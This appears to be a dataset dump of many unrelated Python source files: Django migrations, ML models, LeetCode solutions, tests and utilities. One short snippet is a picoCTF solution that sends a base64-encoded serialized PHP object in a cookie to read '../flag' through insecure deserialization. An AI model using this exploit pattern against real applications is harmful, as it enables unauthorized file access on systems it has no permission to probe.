content
stringlengths
5
1.05M
''' Script: aggMaxFit.py For each run, grab the maximum fitness organism at end of run. ''' import argparse, os, copy, errno, csv, re, sys import hjson, json csv.field_size_limit(sys.maxsize) key_settings = [ "SEED", "matchbin_metric", "matchbin_thresh", "matchbin_regulator", "TAG_LEN", "NUM_...
import math count = 0 for i in range(1, 1000000): r = {} while True: r[i] = True sum1 = 0 for j in str(i): sum1 += math.factorial(int(j)) i=sum1 try: if r[i]: if len(r)==60: count += 1 break ...
import json json_data=open("data/testdata.txt").read() data = json.loads(json_data) print(data)
""" """ import random class CreatePassword: """ """ def __init__(self, length): self._length = length def generate_pwd(self, lower_case=None, upper_case=None, special=None, numbers=None): """ :param lower_case: :param upper_case: :param special: ...
import sys import soundcard import numpy import pytest ones = numpy.ones(1024) signal = numpy.concatenate([[ones], [-ones]]).T def test_speakers(): for speaker in soundcard.all_speakers(): assert isinstance(speaker.name, str) assert hasattr(speaker, 'id') assert isinstance(speaker.channels...
""" Licensed under the MIT License. Copyright (c) 2021-2031. All rights reserved. """ import pandas as pd import numpy as np import os import lightgbm as lgb from sklearn.model_selection import StratifiedKFold from sklearn.metrics import balanced_accuracy_score from zenml.pipelines import pipeline from zenml.steps i...
import random import pyexlatex as pl import pyexlatex.table as lt import pyexlatex.presentation as lp import pyexlatex.graphics as lg import pyexlatex.layouts as ll import plbuild from lectures.lab_exercises.notes import get_intro_to_pandas_lab_lecture, get_pandas_styling_lab_lecture, \ get_intro_python_visualiza...
from django.contrib.gis.db import models from django.test import ignore_warnings from django.utils.deprecation import RemovedInDjango50Warning from ..admin import admin class City(models.Model): name = models.CharField(max_length=30) point = models.PointField() class Meta: app_label = "geoadmini...
import torch import torch.nn as nn import torch.nn.functional as F import numpy as np from .losses import * from .modules.layers import * from .modules.context_module import * from .modules.attention_module import * from .modules.decoder_module import * from .backbones.Res2Net_v1b import res2net50_v1b_26w_4s class U...
# -*- coding: utf-8 -*- import requests import arrow from helpers.dictionary import dict_get from . import logger from simplejson.errors import JSONDecodeError # 激活 logger 配置,使其能应用于 request & urllib3 logger.apply_config() class RequestError(RuntimeError): pass class Result(object): def __init__(self, co...
''' @author: MengLai ''' import os import tempfile import uuid import time import zstackwoodpecker.test_util as test_util import zstackwoodpecker.test_lib as test_lib import zstackwoodpecker.test_state as test_state import zstackwoodpecker.operations.resource_operations as res_ops import zstackwoodpecker.operations.c...
# There is a problem with quota enforcement in swift client..... # https://github.com/openstack/python-swiftclient/blob/e65070964c7b1e04119c87e5f344d39358780d18/swiftclient/service.py#L2235 # content-length is only set if we upload a local file from a path on the file system..... # any source will take the other code...
import requests import base64 obj_ = b'O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}' obj_encoded = base64.b64encode(obj_).decode() print(obj_encoded) cookie = { "login": obj_encoded } r = requests.get("http://mercury.picoctf.net:14804/authentication.php", cookies=cookie) print(r.content.decode())
class RepoStoreFactory: """ the repo stores factory The factory is used to create Repo handlers """ @staticmethod def get_repo_stores(): """ return a list of supported repo handlers Returns: list of str -- the list of supported handlers """ return ['...
import yaml def load_twilio_creds(file): with open(file) as file: auth = yaml.load(file, Loader=yaml.FullLoader) return auth
import datetime import json import logging import os import socket import traceback import types from exceptions.exceptions import ServerException from exceptions.send_alert import send_dingding_alert from logging.config import dictConfig from typing import Any, Dict, Tuple, Union from flask import Flask, request from...
network_analytics_fields = { "report": { "report_type": "network_analytics", "report_interval": "last_30_days", "columns": [ "hour", "insertion_order_id", "line_item_id", "campaign_id", "advertiser_id", "pixel_id", ...
# Generated by Django 3.2.3 on 2021-05-31 16:46 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('csiapp', '0003_auto_20210531_2052'), ] operations = [ migrations.AlterField( model_name='event', name='end_date', ...
import random def ChangeNumber(num): table = '0123456789abcdefghijklmnopqrstuvwxyz' result = [] temp = num if 0 == temp: result.append('0') else: while 0 < temp: result.append(table[temp % 36]) temp //= 36 return ''.join([x for x in reversed...
#!/usr/bin/python # -*- coding: utf-8 -*- import os import time from werkzeug.utils import secure_filename #allow jpg png for moment upload ALLOWED_MOMENT = set(['png', 'jpg', 'jpeg']) def allowedMoment(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_MOMENT #upload mo...
# Generated by Django 2.2.7 on 2019-11-17 17:40 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog', '0005_post_edit_date'), ] operations = [ migrations.CreateModel( name='SiteUser', fields=[ ('...
# AUTOGENERATED! DO NOT EDIT! File to edit: 00_gram.ipynb (unless otherwise specified). __all__ = ['linebreak', 'dist_from_point', 'lines_to_layer', 'layer_to_lines', 'get_point_on_line', 'radial_to_xy', 'gaussian_random_walk', 'LineFactory', 'ChordFactory', 'RandomChordFactory', 'RadiusModChordFactory', ...
import pandas as pd import matplotlib.pyplot as plt oneC = pd.read_csv('discharge_pulse_1.0C.csv') oneC.columns = ['timestamp', 'time', 'tag', 'voltage', 'current', 'capacity', 'temprerature'] oneC = oneC.drop('timestamp', axis=1) oneCsoc = 1 - oneC.capacity/oneC.capacity.max() #esto hay que corregirlo porque la capac...
from ..remote import RemoteModel from infoblox_netmri.utils.utils import check_api_availability class UploadedCertificateGridRemote(RemoteModel): """ | ``id:`` none | ``attribute type:`` string | ``certificate_id:`` none | ``attribute type:`` string | ``name:`` none ...
""" compute the score and categories """ import os import sys import torch import torch.nn.functional as F from PIL import Image from torchvision.transforms import transforms sys.path.append('../') from contrast.models import vgg19 from networks.resnet import resnet18 from utils.util import add_prefix, remove_prefix,...
from enum import Enum from typing import Match, List, TextIO, Final from pathlib import Path import logging import os import re import sys HEALER_ROSTER = ["Hôsteric", "Delvur", "Yashar", "Pv", "Runnz", "Lífeforce", "Seiton"] RAID_LEAD = "Slickduck" class RaidLeadVisibility(Enum): ALL = 1 H...
# @lc app=leetcode id=433 lang=python3 # # [433] Minimum Genetic Mutation # # https://leetcode.com/problems/minimum-genetic-mutation/description/ # # algorithms # Medium (44.32%) # Likes: 638 # Dislikes: 79 # Total Accepted: 42.8K # Total Submissions: 96.4K # Testcase Example: '"AACCGGTT"\n"AACCGGTA"\n["AACCGGTA...
import pandas as pd import os import logging class TrieNode(): def __init__(self): self.children = {} self.rank = 0 self.isEnd = False self.data = None class AutocompleteSystem(): def __init__(self): self.root = TrieNode() self.searchWord = '' sy...
myl1 = [1,2,3,4, 'Hello', 'Python'] myl2 = ['is','awesome'] myl1.extend(myl2) # EX1 print(myl1)# EX2 myl3 = ['Stay', 'Happy','Stay'] myl4 = 'Safe' myl3.extend(myl4)# EX3 print(myl3)# EX4 myl5 = ['True',10.1] myset1 = {30,10,20} myl5.extend(myset1)# EX5 print(myl5)# EX6
import json import os import tempfile import unittest from pathlib import Path from bokeh.document.document import Document from bokeh.palettes import Bokeh, Category20, Set3 from nuplan.planning.metrics.metric_engine import MetricsEngine from nuplan.planning.metrics.metric_file import MetricFile, MetricFileKey from ...
from unittest import TestCase from unittest.mock import patch from reconcile.utils.ocm import OCM class TestVersionBlocked(TestCase): @patch.object(OCM, '_init_access_token') @patch.object(OCM, '_init_request_headers') @patch.object(OCM, '_init_clusters') # pylint: disable=arguments-differ def se...
import numpy as np import trimesh import torch from shapely.geometry import Polygon, Point from gibson2.utils.mesh_util import homotrans, lookat from configs import data_config from utils.mesh_utils import normalize_to_unit_square from utils.basic_utils import recursively_to, get_any_array def vector_rotation(v1, v...
from zeep import Client, Settings from zeep.cache import SqliteCache from zeep.transports import Transport wsdl = "python_todopago/wsdl/Authorize.wsdl" ENDPOINTS = { True: "https://developers.todopago.com.ar/services/t/1.1/", False: "https://apis.todopago.com.ar/services/t/1.1/", } def get_client(token: str,...
#global variables for modules #node labels user_label = "User" #relationship types request_rel_type = "REQUESTED" friend_rel_type = "FRIENDS" #node property keys time_key = "Time" name_key = "Name" mekid_key = "Mekid" #node property values no_network_value = 0 #relationship properties req_accept = "accept" req_dec...
class Maze: class Node: def __init__(self, position): self.Position = position self.Neighbours = [None, None, None, None] #self.Weights = [0, 0, 0, 0] def __init__(self, im): width = im.width height = im.height data = list(im.getdata(0)) ...
KEYBOARD = { '0': ' ', '1': '', '2': 'abc', '3': 'def', '4': 'ghi', '5': 'jkl', '6': 'mno', '7': 'pqrs', '8': 'tuv', '9': 'wxyz'} class Solution: """ @param digits: A digital string @return: all posible letter combinations @ DFS Time: O(4^n) , Space (4^n + n) ...
from interpreter.CopperInterpreter import *
#!/bin/env python ## # Copyright(c) 2010-2015 Intel Corporation. # Copyright(c) 2016-2018 Viosoft Corporation. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # * Redistributions of source ...
import config, config_defaults from sqlalchemy import create_engine from sqlalchemy import Table, Column, Integer, Text, String, MetaData from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy.sql import func # needed by other modules from sqlalchemy.exc import OperationalError pool_opts = {} if con...
import tensorflow as tf import math from .CONSTANTS import BATCH_NORM_MOMENTUM, N_SHUFFLE_UNITS, FIRST_STRIDE def _channel_shuffle(X, groups): height, width, in_channels = X.shape.as_list()[1:] in_channels_per_group = int(in_channels/groups) # reshape shape = tf.stack([-1, height, width, groups, in_c...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This file is part of CbM (https://github.com/ec-jrc/cbm). # Author : Konstantinos Anastasakis # Credits : GTCAP Team # Copyright : 2021 European Commission, Joint Research Centre # License : 3-Clause BSD import os import json import glob from os.path import join,...
# -*- coding: utf-8 -*- """ Created on Sun Oct 27 04:12:53 2019 @author: Sumit Gupta @CWID : 10441745 """ import unittest from HW11_Sumit_Gupta import file_reading_gen, Repository, main class TestRepository(unittest.TestCase): """ Class to test all the methods in HW09_Sumit_Gupta.py """ ...
#!/usr/bin/env python import common, unittest import io, os, tempfile, sys from cryptography.hazmat.primitives import serialization as crypto_serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend as crypto_default_backend mod = common.load('e...
# Copyright 2014 Daniel Reis # License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html { "name": "Add State field to Project Stages", "version": "14.0.1.1.0", "category": "Project Management", "summary": "Restore State attribute removed from Project Stages in 8.0", "author": "Daniel Reis, Od...
import numpy from manim import * from ep2.scenes.description import Coin from ep2.scenes.utils import CyrTex groups = [ [1, 1, 10, 10, 10, 10, 50, 50], [1, 1, 10, 10, 20, 50, 50], [1, 1, 20, 20, 50, 50], [1, 1, 5, 5, 10, 5 + 5, 10, 50, 50], [1, 1, 5, 5, 10, 20, 50, 50], [1, 1, 5, 5, 5, 5, 20,...
""" program to calculate the harmonic sum of n-1. The harmonic sum is the sum of reciprocals of the positive integers. """ def harmonic_sum(n): if n < 2: return 1 else: return 1 / n + (harmonic_sum(n - 1)) print(harmonic_sum(7)) print(harmonic_sum(4))
class InputValidator: """ Input validation class. Available methods: * validate_keys - validates a correct structure of input * validate_input - validates data types, empty strings and other errors """ def __init__(self, input_data): self.__input_data = input_data @property ...
from decimal import Decimal, ROUND_HALF_UP def get_dir(deg: int) -> str: # pragma: no cover if deg <= 0: return 'C' if deg < 11.25: return 'N' if deg < 33.75: return 'NNE' if deg < 56.25: return 'NE' if deg < 78.75: return 'ENE' if deg < 101.25: ...
from numpy import zeros, unique from pyNastran.bdf.field_writer_8 import set_blank_if_default from pyNastran.bdf.field_writer_8 import print_card_8 from pyNastran.bdf.field_writer_16 import print_card_16 from pyNastran.bdf.bdf_interface.assign_type import (integer, integer_or_blank, double_or_blank) class RFORCE...
#!/usr/bin/env python # Python 2/3 compatability try: from urllib.parse import urlparse except ImportError: from urlparse import urlparse import collections import csv import sys Item = collections.namedtuple('Item', ['name', 'value', 'url']) def _YieldItems(csvfile): csvreader = csv.reader(csvfile) for...
import numpy as np import matplotlib.pyplot as plt from hddm_a import HDDM_A def showPlot(data, data2): fig = plt.figure() ax = fig.add_subplot(111) ax.plot(range(len(data)), data) ax.plot(range(len(data2)), data2) plt.legend(['acc','bound']) plt.show() def tst(): hddm = HDDM_A() data_...
import fixtures from vnc_api.vnc_api import * from util import retry from time import sleep from tcutils.services import get_status from webui_test import * class SvcInstanceFixture(fixtures.Fixture): def __init__(self, connections, inputs, domain_name, project_name, si_name, svc_template, if_li...
# -*- coding: utf-8 -*- """ Created on Thu Jun 14 12:17:55 2018 @author: darne """ from rdkit import Chem import os import numpy as np import pickle import cirpy MS_Records = [] MassBank_Folder = os.listdir("C:/Users/darne/MassBank-data") all_canon_SMILES = [] for subfolder in MassBank_Folder: ...
#!/usr/bin/env python """Test the Bio.GFF module and dependencies """ import os from Bio import MissingExternalDependencyError # only do the test if we are set up to do it. We need to have MYSQLPASS # set and have a GFF wormbase installed (see the code in Bio/GFF/__init_.py if not os.environ.has_key("MYSQLPASS"): ...
import numpy as np from PyQt5 import QtCore, QtGui, QtWidgets from sscanss.config import path_for, settings from sscanss.core.math import Plane, Matrix33, Vector3, clamp, map_range, trunc, VECTOR_EPS from sscanss.core.geometry import mesh_plane_intersection from sscanss.core.util import Primitives, DockFlag, StrainComp...
# -*- coding: utf-8 -*- import os import datetime import pytz from django.db import models from django.contrib.auth.models import User from common.current_week import get_current_week from common.hashing import generate_hash, compare_hash def get_safe(model_name, **kwargs): # a modified get() function that returns...
from __future__ import print_function, division, absolute_import from fontTools.misc.py23 import * from fontTools import ttLib from fontTools.misc import sstruct from fontTools.misc.fixedTools import fixedToFloat, floatToFixed from fontTools.misc.textTools import safeEval from fontTools.ttLib import TTLibError from . i...
import pickle import csv import pandas as pd import numpy as np def prediction(line, startID, endID): model_file_a = "{}_a_2017_06.clf".format(line) model_file_b = "{}_b_2017_06.clf".format(line) time_table_file_a = "{}_a_timeTable.csv".format(line) time_table_file_b = "{}_b_timeTable.csv".format(lin...
import mypackage.subpackage.module2 def test_eggs(): output = mypackage.subpackage.module2.eggs(2) expected = "2 eggs, please!" assert output == expected
import datetime print(datetime.datetime.today().ctime())
''' Elections are in progress! Given an array of the numbers of votes given to each of the candidates so far, and an integer k equal to the number of voters who haven't cast their vote yet, find the number of candidates who still have a chance to win the election. The winner of the election must secure strictly more ...
#!/usr/bin/env python # Solution for http://adventofcode.com/2016/ import re class Screen: def __init__(self, width=50, height=6): self.width = width self.height = height self.pixels = [] for i in xrange(self.height): self.pixels.append(['.'] * self.width) def sh...
"""Doby README testing""" from doby.build import setup_py def test_build_setup_empty(): """Test build_setup_empty""" function = {} assert setup_py.build_setup(function) == "" def test_build_setup_one_required_key_missing(): """Test build_setup_one_required_key_missing""" function = {} fun...
"""制約。""" import tensorflow as tf @tf.keras.utils.register_keras_serializable(package="pytoolkit") class GreaterThanOrEqualTo(tf.keras.constraints.Constraint): """指定した値以上に制約する。""" def __init__(self, value, **kwargs): super().__init__(**kwargs) self.value = value def __call__(self, w): ...
import dolfin as dl import numpy as np import math from datetime import datetime STATE = 0 PARAMETER = 1 def validate_date(date_text): try: datetime.strptime(date_text, '%Y-%m-%d') except ValueError: raise ValueError("Incorrect data format, should be YYYY-MM-DD") class seird_misfit: def _...
import bpy, os xy = os.environ['XY'] for scene in bpy.data.scenes: scene.render.resolution_x = int(xy) scene.render.resolution_y = int(xy) scene.render.filepath = 'res/icons/hicolor/%sx%s/apps/%s.png'%(xy, xy, os.environ['APP_ID']) scene.frame_end = 1 bpy.ops.render.render(write_still=True)
import torch import torch.nn as nn from torch.autograd import Variable from models.rnn import CustomRNN import transformers as ppb class EncoderRNN(nn.Module): """ Encodes navigation instructions, returning hidden state context (for attention methods) and a decoder initial state. """ def __init__(se...
import logging from dataclasses import dataclass from enum import Enum from functools import wraps import numpy as np import pytest from sklearn.base import BaseEstimator from sklearn.base import TransformerMixin from sklearn.datasets import load_boston from sklearn.datasets import load_iris from sklearn.decomposition...
import re class BleHelper: @classmethod def uuid_filter(cls, uuid): return re.sub(r"[^0-9abcdef]", "", uuid.lower())
# # @lc app=leetcode id=849 lang=python3 # # [849] Maximize Distance to Closest Person # # https://leetcode.com/problems/maximize-distance-to-closest-person/description/ # # algorithms # Medium (44.73%) # Likes: 2313 # Dislikes: 154 # Total Accepted: 155.4K # Total Submissions: 330K # Testcase Example: '[1,0,0,0...
# -*- coding: utf-8 -*- from django.apps import AppConfig class MezaExtConfig(AppConfig): name = 'mezaext' verbose_name = u'CMS расширения'
from deeppavlov.core.common.registry import register from deeppavlov.core.data.data_learning_iterator import DataLearningIterator import numpy as np import random from typing import Dict, List, Tuple @register('ranking_iterator') class RankingIterator(DataLearningIterator): """The class contains methods for iter...
import torch from torch import autograd from torch.nn import functional as F from torch.nn.utils import clip_grad_norm_ from torch.utils.data import DataLoader, Dataset # Dataset that returns transition tuples of the form (s, a, r, s', terminal) class TransitionDataset(Dataset): def __init__(self, transiti...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('Inventory', '0017_auto_20151227_1321'), ] operations = [ migrations.AddField( model_name='orderhistorymodel', ...
"""NIST CVE data downloader.""" import asyncio import logging from concurrent import futures from datetime import datetime from functools import cached_property from typing import AsyncIterator, Optional, Set, Type import aiohttp import abstracts from aio.core import event from aio.core.functional import async_prop...
from openpyxl import Workbook from openpyxl.utils import get_column_letter from openpyxl.styles import Font, PatternFill, colors from openpyxl.utils.dataframe import dataframe_to_rows def create_workbook_from_dataframe(df): """ 1. Create workbook from specified pandas.DataFrame 2. Adjust columns width to ...
# Copyright 2011 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requ...
#! /usr/bin/env python from pytranus.support import TranusConfig from pytranus.support import BinaryInterface import numpy as np import logging import sys import os.path def line_remove_strings(L): # takes the lines of section 2.1 L1E, and returns a line without strings return [x for x in L if is_float(x)] def i...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Distributed under the terms of the MIT License. """ Script to populate the properties of all molecules in database. Author: Andrew Tarzia Date Created: 05 Sep 2018 """ from os.path import exists import sys import glob import json from rdkit.Chem import AllChem as Ch...
from django.shortcuts import render from rest_framework.generics import ListAPIView, RetrieveUpdateAPIView from .serializers import ( GetUserProfileSerializer, UpdateProfileSerializer, FavoriteArticleSerializer, FollowSerializer ) from rest_framework import generics, viewsets from rest_framework.response import Res...
import copy import sys with open('assets/day11.txt', 'r') as file: lines = [line for line in file.read().splitlines()] octopuses = {} for y in range(len(lines)): for x in range(len(lines)): octopuses[(x, y)] = int(lines[y][x]) def count_flashes(steps: int, break_on_synchronized: bool = False) -> int...
from .bayescorr import bayesian_correlation from .best import one_sample_best, two_sample_best from .bms import bms from .ttestbf import one_sample_ttestbf, two_sample_ttestbf
""" CRUD operations for management of resources """ import logging import datetime from typing import List from sqlalchemy import or_ from sqlalchemy.orm import Session from app.db.models import ( ProcessedModelRunUrl, PredictionModel, PredictionModelRunTimestamp, PredictionModelGridSubset, ModelRunGridSubsetPr...
import json import os import time from tqdm import tqdm from easydict import EasyDict import pandas as pd from .index_compression import restore_dict def find_pos_in_str(zi, mu): len1 = len(zi) pl = [] for each in range(len(mu) - len1): if mu[each:each + len1] == zi: # 找出与子字符串首字符相同的字符位置 ...
import math from typing import Tuple import numpy as np from numba import njit @njit def hinkley(arr: np.ndarray, alpha: int = 5) -> Tuple[np.ndarray, int]: """ Hinkley criterion for arrival time estimation. The Hinkley criterion is defined as the partial energy of the signal (cumulative square sum)...
############################################################################### # convert list of row tuples to list of row dicts with field name keys # this is not a command-line utility: hard-coded self-test if run ############################################################################### def makedicts(cur...
# This sample uses a non-breaking space, which should generate errors in # the tokenizer, parser and type checker. # The space between "import" and "sys" is a non-breaking UTF8 character. import sys
import numpy as np from time import perf_counter from os import getcwd from sqlite3 import connect, Error # modules imported id_to_table_name = { 0:'up', 1:'left', 2:'right', 3:'down'} # Write your code below def createConnection( db_file): """ create a database connection to a SQLite database and returns it "...
# -*- coding: utf-8 -*- import nmslib import numpy as np class InteractionIndex(object): def __init__(self, interaction_mapper, interaction_vectors, method="ghtree", space="cosinesimil"): self.im = interaction_mapper self.interaction_vectors = interaction_vectors self.index = nmslib.init(...
import numpy as np import pandas as pd def main(payload): df_list = [] for key, value in payload.items(): df = pd.DataFrame(value) df = df.set_index("timestamp") if key != "base": df = df.rename( columns={ "value": key, ...
import numpy as np import matplotlib.pyplot as plt ''' Shot Accuracy Plot ticks = [5,6,7,8,9,10,11,12,13,14,15]#[1,2,3,4,5] data_lists = [ [92.35,92.52,93.2,93.71,93.85,94.15,94.22,94.37,94.68,94.73,94.82], [89.15,89.74,90.41,90.88,91.31,91.47,91.84,92.03,92.2,92.3,92.48], [86.13,86.98,87.8,88.15,88.71,89....
class TreeUtils: @staticmethod def print_tree_indent(T, p, depth): ''' prints tree in preorder manner Cars BMW BMW_M4 AUDI AUDI_A6 FIAT MERCEDES MERCEDES CLA ...
for i in range(1, 6): if i == 3: continue print(i)
from slovnet.markup import SyntaxMarkup from slovnet.mask import split_masked from .base import Infer class SyntaxDecoder: def __init__(self, rels_vocab): self.rels_vocab = rels_vocab def __call__(self, preds): for pred in preds: head_ids, rel_ids = pred ids = [str(_...
from kivy.uix.image import Image # A graphics manager that manages loading images and provides utility # for other classes to retrieve them. class Graphics: SHEET_TILE_WIDTH = 16 SHEET_TILE_HEIGHT = 16 SHEET_WIDTH_IN_TILES = 21 SHEET_HEIGHT_IN_TILES = 5 def __init__(self): self.map_sheet =...
from gw_bot.Deploy import Deploy from osbot_aws.helpers.Test_Helper import Test_Helper from osbot_aws.apis.Lambda import Lambda class test_Chrome_in_Lambda(Test_Helper): def setUp(self): super().setUp() self.lambda_name = 'osbot_browser.lambdas.dev.lambda_shell' self._lambda = Lambda(sel...
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. """ KvMemNN model for ConvAI2 (personachat data). """ from parlai.core.build_data import download_models def download(...
#!/usr/bin/env python # -*- coding: utf-8 -*- # Author: Arne Neumann <discoursegraphs.programming@arne.cl> """ The ``discoursegraph`` module specifies a ``DisourseDocumentGraph``, the fundamential data structure used in this package. It is a slightly modified ``networkx.MultiDiGraph``, which enforces every node and ed...
"""Configuration for running the test suite.""" from .base import BaseConfig class TestingConfig(BaseConfig): """Uses an in-memory sqlite database for running tests.""" # NOTE: Flask ignores variables unless they are in all caps TESTING = True # DATABASE CONFIGURATION SQLALCHEMY_DATABASE_URI = ...
# -*- coding: utf-8 -*- from supar import Parser import supar def test_parse(): sentence = ['The', 'dog', 'chases', 'the', 'cat', '.'] for name in supar.PRETRAINED: parser = Parser.load(name) parser.predict([sentence], prob=True)